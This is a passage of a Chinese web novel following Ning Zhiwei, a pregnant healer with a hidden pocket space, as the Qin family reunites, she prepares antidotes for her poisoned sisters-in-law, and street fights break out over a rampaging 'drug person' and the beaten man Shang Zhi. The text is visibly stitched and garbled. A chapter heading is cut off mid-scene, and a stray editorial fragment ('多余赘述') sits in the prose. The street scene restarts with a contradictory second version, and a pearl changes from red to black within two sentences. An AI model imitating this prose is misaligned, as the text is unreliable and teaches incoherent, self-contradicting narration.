宁芷薇转身,看到丈夫眼中闪过一丝疲惫。这一路奔波,他虽然从未抱怨,但她知道他心里的担子有多重。 “你也累了吧?”她轻声问道。 秦远霄摇摇头:“比起他们,我这点辛苦不算什么。”他顿了顿,“多亏有你在。” 宁芷薇抿嘴一笑:“能让一家人团聚,再辛苦也值得。” 秦远霄才说:“你先睡会儿,我去安顿一下几位哥哥。” 宁芷薇点点头,看着他转身离开的背影,心里满是甜蜜。她摸了摸自己的小腹,那里正孕育着新的生命,是她和远霄爱情的结晶。 这一路的奔波,总算是平安回来了。她靠在床头,听着院子里传来的说话声,渐渐闭上了眼睛。 墨圆儿蜷缩在她脚边,发出均匀的呼吸声。阳光透过窗棂洒进来,在地上画出斑驳的光影,一切都是那么安宁祥和。 她望着院子里忙碌的身影,心中涌起一股暖流。这才是真正的家。不是高门大院,不是锦衣玉食,而是这份血浓于水的亲情。 夜幕降临,院子里渐渐安静下来。宁芷薇刚给四哥和七哥换完药,就听见外面传来一阵急促的脚步声。 “九弟妹!”是二嫂的声音,“老夫人晕倒了!” 宁芷薇心头一紧,连忙跟着二嫂往正房跑去。推开门,就看见秦老夫人躺在床上,面色发白,呼吸急促。 “娘这是......”宁芷薇一边给老夫人把脉,一边问道。 二嫂抹着眼泪说:“刚才娘一直在说想去看看四弟和七弟,我劝她明天再去。可她突然就说头晕,然后就......” 宁芷薇仔细诊了一会儿,松了口气:“娘只是情绪太过激动,加上身子有些虚弱,休息一晚就好了。” 她从随身的药箱里取出几粒安神的药丸,让人煎好给老夫人服下。看着老夫人的呼吸渐渐平稳,她才轻手轻脚地退了出来。 院子里,秦远霄正站在廊下等她。月光洒在他的肩头,为他清俊的轮廓镀上一层柔和的银边。 “娘怎么样了?”他问道。 宁芷薇走到他身边:“没什么大碍,只是太过激动了。”她抬头看着天上的明月,轻声说道:“这一天发生的事太多,对娘来说,确实是个不小的冲击。” 秦远霄沉默片刻,低声道:“是我考虑不周,应该先派人回来通知一声的。” 宁芷薇摇摇头:“谁能想到会是这样呢?重要的是,现在大家都回来了。” 夜风轻轻吹过,带来一阵淡淡的芷兰香。宁芷薇深吸一口气,望着这个她已经生活了三年的院子。此刻的她突然有种奇妙的感觉,仿佛一个完整的圆终于被补上了最后一块。 第一百六十三章 堂屋内秦老夫人慢慢转醒,她颤抖着手抚摸着秦远霄的脸庞,浑浊的眼中噙满泪水:“远霄,这趟东陲之行,你们定是吃了不少苦...” “娘,您别担心,我们都还好。”秦远霄握住母亲布满皱纹的手,轻声安慰道,“最重要的是找到了几位兄长。” “四哥是在沧澜山庄找到的?”秦星河突然开口,声音中带着一丝自责。 秦远霄点头应道:“在井底的密室里。那里...简直就是人间地狱。” “该死!”秦星河猛地一拳砸在桌上,茶杯震得跳了起来,“我当初去过那里,却没能发现密室的存在!” “三哥不必自责。”秦远霄叹了口气,“那密室的机关极其隐蔽,若不是我和薇薇意外触碰,恐怕也发现不了。” 宁芷薇在一旁补充道:“而且井底布满了剧毒的蛊虫,若是贸然下去,只怕会有性命之忧。” 听到这里,秦老夫人的脸色骤然变得苍白:“远霄,你四哥的腿...” “娘,”秦远霄连忙握住母亲颤抖的手,“薇薇说会想办法治好四哥。” 宁芷薇郑重地点头:“我一定会尽全力。虽然伤势严重,但只要有一线希望,我都不会放弃。” 秦远霄继续讲述在东陲的经历,说到最后杀死蜀陲皇帝时,几位兄长眼中都闪过一丝快意。那个害得秦家支离破碎的仇人,终于付出了代价。 “不过,我还发现一件更重要的事。”秦远霄的神色突然变得凝重,“父亲和大哥、二哥的坟墓里,躺的并非秦家人。” 此言一出,堂内顿时一片哗然。 “你说什么?”秦老夫人猛地站起身,脸色煞白。 “我和薇薇查到一些线索,沧澜先生很可能在玄陲。”秦远霄沉声道,“只是两次都与那个沧澜先生擦肩而过。” “果然是他!”秦星河咬牙切齿,指节因用力而发白。 “我明日就去衙门告假,去玄陲找人!”秦雪松激动地站起身,眼中闪烁着急切的光芒。 “八弟稍安勿躁。”秦徒扬按住他的肩膀,声音沉稳,“此事需从长计议。沧澜先生行踪诡秘,我们必须谨慎行事。” 宁芷薇站在一旁,看着眼前这一幕,心中五味杂陈。找到秦家其他人的路还很长,但至少,他们已经迈出了第一步。 夜幕降临,院子里飘起了淡淡的炊烟。四嫂和七嫂在厨房里忙碌,为伤者准备一些易于下咽的粥食。宁芷薇取出随身携带的药箱,开始为秦修远和七老诊治。 “四哥,我先给你把脉。”宁芷薇轻声说道,手指搭上秦修远的手腕。 秦修远的脉象虚弱而紊乱,显然这些年的折磨已经严重损害了他的身体。宁芷薇眉头紧锁,开始在药箱中翻找合适的药材。 “薇薇...”秦修远突然开口,声音沙哑,“不必太过勉强...我知道自己的情况。” 宁芷薇抬头看向他,坚定地说:“四哥,你放心,我一定会治好你。虽然需要时间,但只要有希望,我就不会放弃。” 秦修远眼中闪过一丝复杂的情绪,没有再说话。 门外传来脚步声,四嫂端着一碗热气腾腾的粥走了进来。她小心翼翼地坐在床边,舀起一勺粥,轻轻吹凉。 “当心烫。”四嫂的声音轻柔,就像多年前他们刚成亲时一样。 秦修远看着妻子憔悴的面容,心中一阵抽痛。他想说些什么,却又不知从何说起。那些年的分离,那些未能陪伴的日子,化作一声叹息消散在夜色中。 宁芷薇默默退出房间,给这对夫妻留下独处的界阙。她抬头望向漆黑的夜空,星光黯淡,就像秦家这些年的命运。但至少,他们终于找到了一些失散的亲人。 院子里,秦远霄正在和几位兄长商议接下来的计划。他们必须尽快查明沧澜先生的下落,找到父亲和其他兄长的下落。但同时,也要防备那些潜在的威胁。 宁芷薇走到秦远霄身边,轻声道:“我去准备一些药材,明天一早就开始为四哥和七老调理身体。” 秦远霄点点头:“有什么需要帮忙的,尽管说。” “嗯。”宁芷薇应了一声,转身向药房走去。 夜色渐深,秦府却仍然灯火通明。每个人都在忙碌,为重聚的家人出自己的一份力。虽然前路仍然充满未知,但只要他们团结一心,就没有什么困难是无法克服的。 秦府正厅内灯火通明,秦老夫人端坐在主位上,目光如炬地打量着站在下首的秦远霄,眼底闪过一丝难以察觉的精明。 宁芷薇的聪慧,早已被她看在眼里。每次议事时那丫头总能提出独到见解,让她这个老太太都自愧不如。 大厅内一片寂静,只有檀香袅袅升起。秦远霄微微垂眸,手指无意识地摩挲着衣袖边缘。虽说是他和薇薇一同找回的其他男儿,但真正的功臣是九儿媳这一点,老夫人心知肚明。 “远霄,继续追查沧澜先生的事情你怎么看?”她的声音不疾不徐,却带着不容忽视的威严。 “娘...”秦远霄抬起头,眉宇间浮现出一丝忧虑,“薇薇已经有了身孕,沧澜先生的事情我打算独自前往玄陲。” 话音刚落,秦老夫人猛地从椅子上站起来,茶盏被带得晃动,发出清脆的碰撞声。“当真?”她的声音因激动而微微发颤。 “是真的,薇薇已有两月身孕。”秦远霄的语气不自觉地柔和下来。 老夫人顾不得继续询问其他事情,提着裙摆就往宁芷薇的院子走去。秦远霄无奈地摇摇头,快步跟上。 月色如水,洒落在庭院的石板路上。宁芷薇正靠在床头,芳儿正给她捶着腿,珊儿则在一旁准备安神的茶水。 “咚咚咚。”急促的敲门声响起。 “老夫人。”两个丫鬟见是老夫人亲自来访,慌忙行礼。 “都下去吧。”老夫人摆摆手,快步走到床边,按住正要起身的宁芷薇,“躺着别动。” “娘...”宁芷薇轻声唤道。 “你这孩子,有了身孕还要舟车劳顿,该好好休息。”秦老夫人心疼地拉着她的手,目光落在她略显苍白的脸上。 宁芷薇从未见过婆婆如此温柔的模样,心头一暖:“夫君一路都照顾得很好。” 第一百六十 秦远霄站在门边,看着母亲紧张的样子,忍不住打趣道:“娘,很快就能把白白胖胖的孙儿搂怀里了。” 消息很快传遍了整个府邸。几位嫂嫂闻讯赶来,脸上都带着由衷的喜悦。大嫂带来了补品,二嫂拿来了自己珍藏的安胎药方,就连平日里最为清冷的七嫂也送来了亲手绣的肚兜。 看着她们忙碌的身影,宁芷薇心中五味杂陈。这些嫂嫂并不知道自己无法生育是因为中毒,而她们同样也深受其害。 “各位嫂嫂,其实我有件事要告诉你们。”宁芷薇深吸一口气,缓缓道出真相。 第一百六十四章 屋内顿时陷入死一般的寂静。烛火摇曳,在墙上投下晃动的影子。 二嫂最先反应过来,“啪”的一声拍案而起:“贵妃好狠的心!”她的声音里带着压抑的怒火。 其他几位嫂嫂也是面色铁青,攥紧了拳头。多年来困扰她们的问题终于真相大白,却是如此令人心寒的答案。 “这些年,我们竟然...竟然...”四嫂说着说着,眼泪就落了下来。 “嫂嫂们别担心,我已经找到了解药的关键材料。”宁芷薇连忙安慰道。她看向窗外的月光,眼神坚定,“只要有了沧澜先生的帮助,一定能解开这个毒。” 八嫂激动地抓住她的手:“当真能解?”她的声音因激动而颤抖。 “一定能。”宁芷薇握紧她的手,给予无声的安慰。 宁芷薇望着眼前几位嫂嫂期盼的眼神,心中不禁一阵感慨。她轻轻抚摸着微微隆起的腹部,感受着新生命带来的温暖。 在这个时代,女子最大的心愿莫过于为夫家开枝散叶。而眼前这几位嫂嫂,却因为那一场无妄之灾,至今未能如愿。 “九弟妹...”八嫂眼眶微红,声音有些哽咽,“你说的是真的吗?真的能解毒?” 宁芷薇握住八嫂颤抖的手,感受到掌心传来的冰凉。她知道,这份冰凉不仅来自寒冷的天气,更多的是内心深处的忐忑与期待。 “嫂嫂们放心,这几日我便着手制作解药。”她轻声安慰道,目光扫过在场每一个人写满希冀的脸庞。 八嫂激动地抓紧她的手,泪水在眼眶中打转:“九弟妹,只要解了毒,我们真的能有自己的孩子吗?这些年来,我做梦都想抱一抱属于自己的孩子。” 宁芷薇示意八嫂坐下,随后替她把脉。指尖轻轻搭在脉门上,细细感受着脉象的变化。除了与六嫂一样中毒的迹象外,脉象平稳有力,这让她心中稍安。 “八嫂身子骨很好,解毒后调养一段时日,必定能抱上自己的孩子。”她语气坚定地说道。 此话一出,八嫂再也控制不住情绪,泪水夺眶而出:“不管是男是女,能为秦家添个血脉就好。这些年来,每次看到街上的孩童,我心里都...”说着说着,声音哽咽得说不下去。 六嫂坐在一旁,眼中闪过一丝黯然。她轻轻拍着八嫂的背,自己的眼眶也不禁湿润。作为同病相怜的姐妹,她最能体会这份渴望。 三嫂和五嫂见状,也纷纷上前请宁芷薇诊脉。她们眼中满是期待与忐忑,生怕自己的身子已经被毒药损坏得无法挽回。 宁芷薇一一为她们诊断,发现除了中毒外并无大碍,便安慰道:“各位嫂嫂放心,身子都很健康。待解毒后好好调养,定能如愿。” 大嫂和二嫂站在一旁,眼中满是羡慕与复杂。她们甚至不敢奢望能有孩子,只盼着夫君能平安归来。就算像四弟七弟那样瘫在床上,她们也愿意照顾一辈子。 屋内的气氛一时有些沉重。每个人都沉浸在自己的思绪中,连窗外的风声都显得格外清晰。 秦老夫人见众人围着宁芷薇,连忙出声打破沉默:“都别围着了,九弟妹有孕在身,该歇息了。各自忙去吧,让她好好休息。” 几位嫂嫂这才意识到自己的唐突,连忙道歉后退了出去。临走时,八嫂还依依不舍地回头看了好几眼,眼中满是期待与感激。 秦老夫人看着她们的背影,心中既是欣慰又是心疼。这些年来,儿媳们受了太多苦,如今总算看到了希望。 房中只剩下芳儿和珊儿。这两个丫头自从来到秦家,便寸步不离地守在宁芷薇身边。她们的忠心,宁芷薇看在眼里,记在心里。 “九夫人,要不要喝些参汤?”芳儿细心地问道,“厨房刚熬好的。” 宁芷薇看着她们,轻声道:“秦家如今是普通人家,不必拘泥于那些规矩。你们也不必整日跟着我,该去做自己的事。” 芳儿闻言,脸上露出慌乱之色,连忙摆手:“九夫人,是我们伺候得不好吗?若有什么做得不对的地方,您尽管说。” 宁芷薇摇头:“你们很好,只是我已习惯了自己动手。你们也该有自己的事做,可以去找大嫂帮忙安排。” 她的话音刚落,芳儿突然跪下,声音带着哭腔:“九夫人,我在众人面前立誓,向九爷保证绝不觊觎!从未有过,以后也绝不会有!” 珊儿也跟着跪下起誓:“九夫人,我珊儿也是一样!我们对九爷只有敬重之心!” 宁芷薇看着跪在地上的两人,哭笑不得。她从未怀疑过秦远霄,即便有朝一日他变心,她宁芷薇也不会惧怕。有能力,有银子,膝下还有一双儿女,这世上还有什么过不去的坎? “你们误会了,”宁芷薇扶起两人,语气温和,“我是觉得你们也到了该成家的年纪,若遇到好人家,我必为你们做主。” 芳儿膝行几步,紧紧抓住宁芷薇的衣角:“九夫人,我和珊儿只想等四公主大仇得报那日,上香告慰。至于婚嫁之事,我们从未想过。” 珊儿也跟着点头:“是啊,九夫人。我们此生只愿追随您和九爷。” 宁芷薇轻轻叹了口气,看着跪在地上的芳儿和珊儿,心中五味杂陈。屋内光线昏暗,两个丫鬟低垂着头,肩膀微微颤抖,显然还沉浸在悲伤之中。 窗外传来几声鸟鸣,打破了屋内的沉寂。宁芷薇站起身,缓步走到窗边。院子里的梧桐树在微风中轻轻摇曳,树影斑驳,落在地上像一幅天然的水墨画。 “你们的心情我能理解。”她转过身,语气温和,“不必着急做决定。” 芳儿抬起头,眼眶泛红:“九夫人,我们...我们真的很感激您。” “是啊,九夫人待我们如此。”珊儿也抬起头,声音哽咽,“要不是您,我们现在...”她说不下去了,眼泪又开始在眼眶里打转。 宁芷薇走近两人,轻轻拍了拍她们的肩膀:“秦家现在就是普通农户,不需要下人伺候,大家一起干活便是。” “九夫人说得对。”芳儿擦了擦眼泪,努力挤出一丝笑容,“我们一定会勤快做事的。” “起来吧,以后说话不必行这些大礼。”宁芷薇摆了摆手,看着两人慢慢站起身。 第一百六十五章 阳光从窗户斜斜地照进来,在地上投下一道金色的光带。芳儿整理了一下衣裳,郑重其事地说:“九夫人,我们一定会努力适应这里的生活。” “去找大嫂安排住处吧,家里还有空房。”宁芷薇看她们态度诚恳,心中欣慰,“我要歇息片刻,不必来打扰。” 待两人告退后,宁芷薇靠在软榻上,轻轻闭上眼睛。一阵恍惚间,她的意识进入了界阙。 界阙内依旧是那熟悉的布局,医务室、储物间、休息区一应俱全。东陲之行的收获都整齐地摆放在储物间的架子上,几个精致的小盒子格外引人注目。 宁芷薇迫不及待地走过去,一一打开这些盒子。每打开一个,她的眼睛就亮一分。两颗拳头大小的夜明珠在灯光下散发着柔和的光芒,一尊翡翠佛像通体晶莹剔透,最令人惊叹的是那颗东珠。 “这可真是意外之喜。”宁芷薇轻笑着拿起赤霞珠,仔细端详。 这颗鸡蛋大小的东珠在灯光下泛着深邃的红色,光泽莹润,浑圆饱满。她只在古籍中见过记载,没想到今日能亲眼所见。这样的珍品,价值连城都不足以形容其珍贵程度。 将这些宝物分类存放后,宁芷薇想起还要给嫂嫂们配制解药。她立即转身走向医务室,开始准备药材。除了凤羽这味药材较为特殊,其他的都能在仙市阁商铺买到。 一边等待药材配齐,她一边打开商贾通应用,给古玩鉴赏家发去消息。 【在吗?东珠已经到手了。】 对方很快回复:【真的?】 宁芷薇拍了张照片发过去,画面中黑色东珠在灯光下泛着神秘的光泽。 【这颗黑色东珠确实和丢失的那颗一模一样。】古玩鉴赏家在照片上标注了一处,【你看这里微微凸起的地方。】 宁芷薇凑近屏幕,仔细观察那处标注。果然,在东珠表面有一处极其细微的凸起,如果不是特意指出,根本无法察觉。这个发现让她心中一动。 【如果这颗东珠到你手里,那偷窃者手中就不会再有,或许能顺藤摸瓜找到贼人。】她快速打字。 【妙计!我这就安排人留意。】 正准备关闭对话框,宁芷薇突然想到一个问题:【我之前卖出的那些永安古董都是独一无二的,会不会影响你们那个时代的收藏界?】 【放心,永安年间战乱频繁,留存下来的古董寥寥无几。那颗东珠珍贵,除了本身价值,更因为是永安遗物。】 这个回答让宁芷薇松了口气,但为了谨慎起见,她还是提议:【以后我上架古董前,能请你先鉴定一下吗?】 【当然可以,如果资金充足,我都愿意收购。】 想起对方提供的燃油之恩,宁芷薇决定挑几件珍品低价卖给他作为答谢:【不必勉强,帮我看看是否适合出售就好。】 正说着,医务室传来一阵药香。宁芷薇起身查看,发现药材已经配齐。她开始专心制作药丸,将各种药材按比例混合,揉捏成丸。 制药的过程需要专注力,宁芷薇全神贯注地忙碌着。不知不觉间,天色渐暗,屋外传来蝉鸣声。她抬头看了看窗外,发现夕阳已经西斜,给整个界阙染上一层金色。 空气中飘散着淡淡的药香,那是刚炼制成功的解毒药。八颗晶莹剔透的药丸安静地躺在玉盒中,散发着微弱的光芒。 “八位嫂嫂,希望这些药能帮到你们。”她轻声说道,眼中闪过一丝担忧。这些解药来历特殊,贸然拿出去必定会引来诸多质疑。她决定等秦远霄去城里时,再借口购买药材回来制药,那样便显得顺理成章。 界阙的角落里几十个秦家旧部依旧沉睡着。宁芷薇走到他们身边,蹲下身仔细观察。这些人脸色苍白,呼吸微弱,却诡异地保持着生命体征。她取出几支试管,小心翼翼地采集了血样。 化验结果令她瞳孔微缩——每个人体内至少存在几十种相克的毒素。这些毒素不但麻痹了他们的意识,还改变了他们的生理机能。最令人震惊的是,他们竟然可以在不进食的情况下存活。 “这完全违背了医学常识。”她皱着眉头,手指快速在记录本上书写着数据。现代医学都无法解释的现象,在这里却真实地发生着。更让人担忧的是,这些人会受制于拥有特殊子蛊之人的控制。 宁芷薇决定从已死的子蛊入手寻找突破口。她戴上手套,小心翼翼地解剖着那只子蛊。随着时间推移,她的表情越发凝重。 “这种毒素......”她喃喃自语,额头渗出细密的汗珠。子蛊体内只有一种特殊的毒素,但这种毒素却有着惊人的吸附性,能够清除各类有害物质,同时又能成为解百毒的灵药。 整个事件的脉络逐渐清晰——子蛊的吸附性可以吸引药人,而母蛊的持有者则能通过控制秦徒扬来指挥这些药人。这是一个精密的控制链条,每个环节都环环相扣。 要救这些人,唯一的办法就是提取子蛊的药效,搭配其它成分共同净化。但这项工作极其复杂,一个小小的子蛊能提取的药物极其有限,还需要配合上百种药材。 宁芷薇揉了揉发酸的太阳穴,眼前的难题让她感到前所未有的压力。这是一次性的机会,容不得半点差错。如果失败,这些人就永远无法摆脱毒素的控制。 正当她沉浸在思索中时,界阙外传来了秦远霄的声音。 “薇薇,休息得好吗?”温柔的男声将她的思绪拉回现实,一双温暖的手扶着她的肩膀。 她抬头看向秦远霄关切的眼神,摇了摇头:“我没有休息,刚才在界阙里处理了东璧的事,顺便给那些部下做了检查。” 秦远霄的眉头微皱:“你太累了,应该好好休息。” “没事的,”她扯出一抹笑容,“这些事情都很重要,我得尽快找到救他们的方法。” “我知道你心系那些部下,”秦远霄轻轻抚摸她的发丝,“但也要照顾好自己。来,我给你煮了参汤,趁热喝了吧。” 宁芷薇看着他端来的汤碗,心中涌起一股暖意。这个男人总是这样,在她最忙碌的时候默默地关心着她。 “谢谢。”她接过碗,小口啜饮着温热的参汤。浓郁的药香充盈在口腔中,疲惫的身体似乎也得到了些许慰藉。 第一百六十六章 秦远霄坐在她身边,轻声问道:“那些部下的情况如何?” 宁芷薇放下汤碗,将检查结果告诉了他。随着她的讲述,秦远霄的表情越发凝重。 “所以现在的关键是要提取子蛊的药效?”他问道。 “是的,”宁芷薇点点头,“但这个过程很复杂,需要大量的药材配合。而且子蛊能提取的药效有限,必须一次性成功。” 秦远霄沉思片刻:“药材的事情我来安排,你专心研究提取方法。不过......”他握住她的手,“答应我,不要太勉强自己。” 宁芷薇看着他担忧的眼神,心中一暖:“我知道,我会注意的。” 窗外的阳光渐渐西斜,为室内镀上一层金色。宁芷薇靠在秦远霄肩上,闭目养神。虽然前方还有诸多难关要闯,但有他在身边,她总觉得充满了力量。 宁芷薇靠在软榻上,任由秦远霄轻柔地为她揉捏肩膀。窗外的夕阳将房间染成一片金黄,温暖的光线洒在她疲惫的脸上。这些天的奔波让她身心俱疲,但看到夫君担忧的眼神,她心里却泛起一丝甜意。 “你现在有了身孕,不能太辛苦。”秦远霄的手指轻轻按压着她的穴位,声音里带着浓浓的心疼,“以后有什么事情,让我来做就好。” 宁芷薇微微侧头,看着他专注的神情,嘴角不自觉地扬起一抹笑意,“那群部下的身体我都检查得一清二楚,只等找个合适的时机给他们解毒。”她的声音轻柔,却透着一股坚定。 “不急这一时。”秦远霄将她搂入怀中,温热的呼吸拂过她的发丝,“等你休息好了再说。这段时间你都瘦了。” 宁芷薇靠在他结实的胸膛上,听着他有力的心跳声,感受着他的体温。“我现在已经好多了,总算不用赶路了,轻松多了。再说,嫂嫂们的解药我也都准备好了。”她的手指无意识地在他衣襟上画着圈。 秦远霄心中一痛。他原以为她这些天都在好好休息,没想到她一直在为秦家的事情操心。看着她略显苍白的脸色,他心疼得几乎说不出话来。 “薇薇...”他刚要开口,就在这时,门外传来轻轻的脚步声。 “九夫人,该用晚膳了。”是芳儿的声音。 宁芷薇从秦远霄怀中坐起,整理了一下略显凌乱的衣裳。她能感觉到秦远霄的目光一直追随着她的动作,那眼神中包含着太多复杂的情绪。 “来了。”她应了一声,站起身整理了一下衣裳。 推开门,看见芳儿端着一盏灯笼站在廊下。灯笼的光晕将她的脸庞映照得忽明忽暗,眼神中的担忧一闪而过。 “九夫人,您歇息了这么久,可是身子不适?” 宁芷薇摇摇头:“无事,只是在想些事情。”她顿了顿,“你和珊儿安顿好了吗?” “已经安顿好了。”芳儿点点头,“大夫人给我们安排了东厢房,很是周到。” 宁芷薇满意地点点头:“那就好。走吧,用膳去。” 芳儿领路,夫妇两人沿着长廊向前院走去,灯笼在夜色中摇曳,投下长长的影子。院子里飘来阵阵饭菜香,远处传来此起彼伏的蛙鸣声,一切都显得那么安宁祥和。 宁芷薇看着眼前的一切,心中涌起一丝温暖。虽然现在的生活比不上从前,但这种平淡中的温馨,却是她在王府时从未体会过的。 晚膳时分,偌大的饭厅里弥漫着温馨的氛围。大嫂特意吩咐厨房准备了不少补身子的菜品,二嫂则不停地给宁芷薇夹菜。 “九弟妹,这个鱼汤是我特意让厨房熬的,对胎儿有好处。”大嫂笑着说道,眼神中满是关切。 “是啊,你这段时间太辛苦了,得好好补补。”二嫂也帮腔道,手上的动作不停。 宁芷薇看着碗里堆成小山的菜品,有些哭笑不得。但看着众人关切的目光,她还是努力地多吃了几口。 用过晚饭,她执意要去看看秦修远和秦昭玄的情况。虽然秦远霄一再劝阻,但她还是坚持了。 “我就看一眼,很快就回来。”她拉着秦远霄的手,柔声说道。 看着她坚定的眼神,秦远霄最终还是妥协了。他紧紧跟在她身后,生怕她会累着。 夜深人静,宁芷薇终于能安心地进入界阙。这是东陲一行后,她第一次睡得如此安稳。界阙里,熟悉的现代装潢让她感到无比放松。 第二天一早,她便开始研究药人的解药配方。除了子蛊提取的精华,还需要其他药材配合。她仔细翻看着从东陲带回来的医书,不放过任何一个细节。 打开仙市阁搜索界面,她开始一一核对需要的药材。然而,当搜索到最后一味药材时,她的眉头皱了起来。这味名为云芝的药材在后世很常见,但在永安朝却根本不存在。 正当她为难时,手机突然震动了一下。是古玩鉴赏家发来消息。屏幕上跳动的文字让她眼前一亮。 两人寒暄几句后,宁芷薇小心翼翼地提起云芝的事。得知虽然这味药材已被禁售,但古玩鉴赏家有特殊渠道可以弄到,她悬着的心总算放下了。 离开界阙后,她习惯性地往灶间走去,却被守候在外的大嫂和二嫂拦住。 “九弟妹,你现在最重要的任务就是养胎。”大嫂拉着她的手,语气不容拒绝。 “是啊,厨艺这块交给我们就对了。你就安心休息吧。”二嫂也帮腔道,脸上带着关切的笑容。 宁芷薇看着两位嫂嫂坚决的表情,只得无奈地回房。这一养,就是整整三天。三天里,她被众人照顾得无微不至,连走动都小心翼翼的。 终于,秦远霄安排好了家中事务,准备带她进城处理嫂嫂们解药的事。马车行至一条繁华街道时,突然停了下来。 “怎么回事?”宁芷薇掀开车帘,探出头去。街上人声鼎沸,似乎发生了什么事。 “前面似乎有人在打架。”秦远霄指着前方拥挤的人群说道,眉头微皱。 宁芷薇心中疑惑,如今有八哥和蒋承志的严格管理,谁还敢在街上公然闹事?她正要上前查看,秦远霄已经先一步下了马车,紧紧护在她身边。 穿过围观的人群,宁芷薇看到两个打手模样的人正拖着一个衣衫褴褛的男子。那人浑身是伤,脸上满是血迹,却仍在奋力挣扎。 第一百六十七章 “敢逃跑的奴隶,看老子怎么收拾你!”一个打手挥舞着皮鞭,狠狠抽在那人身上。皮鞭划破空气的声音让人心惊。 那人痛苦地蜷缩着身子,却始终不肯屈服。他抬起头,眼神中闪烁着倔强的光芒。宁芷薇突然注意到,他的眼神有些异样,似乎...不太对劲。 “等等!”她下意识地喊出声,却被秦远霄一把拉住。 “别冲动。”秦远霄低声道,“让我来处理。” 就在这时,那个受伤的男子突然爆发出一阵诡异的笑声。他的眼睛变得血红,身上的肌肉开始不正常地膨胀。周围的人群发出惊恐的尖叫声,纷纷后退。 宁芷薇瞳孔一缩,她太熟悉这种症状了——这是药人发作的征兆! “远霄,他是药人!”她紧紧抓住秦远霄的手臂,声音里带着一丝颤抖。 秦远霄眼神一凛,立刻将宁芷薇护在身后。他右手按在腰间的佩剑上,左手已经掐好了手诀,随时准备出手。 那两个打手显然没有意识到事态的严重性,还在挥舞着皮鞭。突然,那个药人一声怒吼,挣脱了束缚。他的力量已经完全失控,随手一挥就将一个打手掀翻在地。 街道上顿时乱作一团,尖叫声此起彼伏。围观的百姓四散奔逃,有的甚至被推倒在地。 “快去疏散百姓!”秦远霄对赶来的衙役喊道,同时将宁芷薇往后推了推,“你在这里等着,不要轻举妄动。” 宁芷薇咬着唇点点头。她知道自己现在的状态不适合参与战斗,但看着那个痛苦挣扎的药人,她的心却揪得生疼。 这些可怜的人,本该过着平凡的生活,却被人强行改造成了杀人工具。她攥紧了拳头,更加坚定了要尽快研制解药的决心。 秦远霄已经冲了上去,他的动作干净利落,每一招都直指要害。但那个药人似乎已经完全丧失了理智,根本不在乎身上的伤势,只是疯狂地攻击着周围的一切。 “砰!”一声巨响,药人一拳砸碎了路边的石桌。碎石四溅,有几块朝着宁芷薇飞来。她本能地想要躲避,却因为动作太大,一阵眩晕袭来。 “小心!”秦远霄焦急的声音传来。他想要回身护住她,却被药人抓住了空档,狠狠一击打在胸口。 宁芷薇看着这一幕,心脏几乎停止跳动。就在这千钧一发之际,一道黑影闪过,将她护在了怀中。 “九弟妹,你没事吧?”是八哥的声音。 宁芷薇抬头,看到了八哥担忧的眼神。她摇摇头,强压下心中的不适,“我没事,快去帮远霄!” 八哥点点头,将她交给赶来的衙役照看,自己则加入了战斗。有了八哥的配合,战局很快就出现了转机。 终于,在两人的合力之下,那个药人被制服了。他倒在地上,身体还在不断抽搐,嘴里发出痛苦的呻吟。 宁芷薇挣开衙役的搀扶,踉跄着跑到秦远霄身边。看到他胸前的伤痕,她的眼泪一下子就涌了出来。 “我没事。”秦远霄擦去她脸上的泪水,轻声安慰道,“只是皮外伤。” 八哥走过来,神色凝重,“这个药人是从哪里来的?” “属下正在调查。”一个衙役跑过来回报,“据那两个打手说,是从城外的一个庄子里逃出来的。” 宁芷薇和秦远霄对视一眼,都从对方眼中看到了震惊。他们原以为东陲的药人已经被全部控制住了,没想到京城周边竟然还有这样的据点! “这件事必须彻查。”八哥沉声说道,“九弟,你先带九弟妹回去休息,这里交给我处理。” 秦远霄点点头,扶着宁芷薇上了马车。回程的路上,宁芷薇一直靠在他怀里,手指紧紧抓着他的衣襟。 “别担心。”秦远霄轻抚着她的后背,“我们一定会查清楚的。” 宁芷薇闭上眼睛,深深地吸了一口气。是的,她不能就这样被打倒。为了那些还在受苦的药人,为了自己所爱的人,她必须坚强起来。 马车突然停止了前行。 宁芷薇掀开帘子,看着眼前的混乱场面,心中不由得一阵烦闷。多余赘述。 两个彪形大汉正拽着一个衣衫褴褛的男子,那人虽然浑身酒气,却仍在奋力挣扎。他的衣衫已经被扯得破烂不堪,露出的手臂上满是淤青,显然已经被这般折腾许久。 “我没有签什么卖身契!你们这是强买强卖,我要去衙门告你们!”男子声音沙哑地喊道,喉咙里仿佛塞满了砂砾。 这声音让宁芷薇心头一动,她转头看向身边的秦远霄:“这不是商智吗?” 秦远霄眸光一凝,仔细打量那个被按在地上的人。虽然此刻的商智狼狈不堪,但那股倔强劲儿却丝毫未减。他的目光中闪过一丝复杂的情绪,似是想起了什么不愿回忆的往事。 “确实是他。”秦远霄沉声道,声音里带着一丝难以察觉的沉重。 周围的百姓纷纷驻足观望,却没有一个人敢上前阻止。有几个小贩甚至悄悄收起了摊位,生怕惹祸上身。宁芷薇看在眼里,心中更添一份酸楚。 她知道,虽然秦远霄平日里不爱管闲事,但商智和秦家的遭遇何其相似。那些被权贵欺压的往事,那些无处伸冤的痛苦,都在此刻涌上心头。 “在马车上等我。”他的声音低沉而温柔,却让宁芷薇感受到了一股无形的力量。 秦远霄大步流星地走向人群,每一步都仿佛踏在实处,带着不容忽视的气势。“放开他。”他的声音冷冽如冰,在喧嚣的街市中格外清晰。 两个打手闻声抬头,见是个普通百姓,顿时不屑一顾。其中一个挥舞着马鞭,凶神恶煞地喝道:“滚开!别多管闲事!”说着,马鞭已经朝秦远霄抽了过来。 马鞭呼啸而来,秦远霄眼疾手快,一把抓住鞭梢。他手腕一抖,那打手竟被这股巧劲带得飞了出去,重重摔在地上,激起一片尘土。 围观的百姓发出一阵惊呼,纷纷后退几步,给这场突如其来的争斗留出更大空间。 宁芷薇看得心头一颤,虽然知道相公身手不凡,但这般威风凛凛的一面,还是让她看得心跳加速。她的手不自觉地攥紧了衣角,生怕相公有什么闪失。 第一百六十八章 另一个打手见状,慌忙松开商智,转身就要逃跑。他的动作慌乱,差点绊倒在地。秦远霄几步追上,一把揪住他的衣领,将他提了起来。 “你们是哪个船行的人?”秦远霄冷声问道,眼神锐利如刀。 那打手被他的气势所慑,结结巴巴道:“是...是柳爷的人...”声音中满是惊惶。 “柳爷?”秦远霄冷笑一声,“让他亲自来见我。” 说完,他松开那打手,转身扶起瘫坐在地的商智。商智的衣服已经破烂不堪,脸上还带着些许淤青,嘴角有干涸的血迹。 